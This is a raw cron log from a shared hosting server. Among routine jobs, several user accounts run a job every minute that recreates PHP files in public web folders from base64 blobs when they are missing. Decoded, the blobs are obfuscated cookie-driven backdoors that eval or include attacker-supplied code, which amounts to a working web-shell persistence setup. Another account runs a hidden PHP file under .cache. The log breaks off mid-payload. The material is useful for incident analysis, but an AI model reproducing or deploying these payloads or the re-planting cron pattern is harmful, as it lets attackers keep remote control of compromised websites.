Mar  1 04:00:02 medusa CROND[28725]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:00:02 medusa CROND[28787]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:00:02 medusa CROND[28768]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28773]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:00:02 medusa CROND[28797]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:01:01 medusa CROND[18382]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:01:01 medusa CROND[18415]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:01:01 medusa CROND[18440]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:01:01 medusa CROND[18442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:01:01 medusa CROND[18454]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:01:01 medusa CROND[18447]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:01:01 medusa CROND[18456]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 04:01:01 medusa CROND[18457]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:01:01 medusa CROND[18460]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:01:01 medusa CROND[18462]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:01:01 medusa CROND[18463]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:01:01 medusa CROND[18465]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:01:01 medusa CROND[18461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:01:01 medusa CROND[18475]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:01:01 medusa run-parts(/etc/cron.hourly)[18456]: starting 0anacron
Mar  1 04:01:02 medusa run-parts(/etc/cron.hourly)[18623]: finished 0anacron
Mar  1 04:02:01 medusa CROND[8071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:02:01 medusa CROND[8153]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:02:01 medusa CROND[8154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:02:01 medusa CROND[8182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:02:01 medusa CROND[8183]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:02:01 medusa CROND[8184]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:02:01 medusa CROND[8185]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:02:01 medusa CROND[8186]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:02:01 medusa CROND[8191]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:02:01 medusa CROND[8195]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:02:01 medusa CROND[8197]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:02:01 medusa CROND[8198]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:02:01 medusa CROND[8199]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:03:01 medusa CROND[30294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAg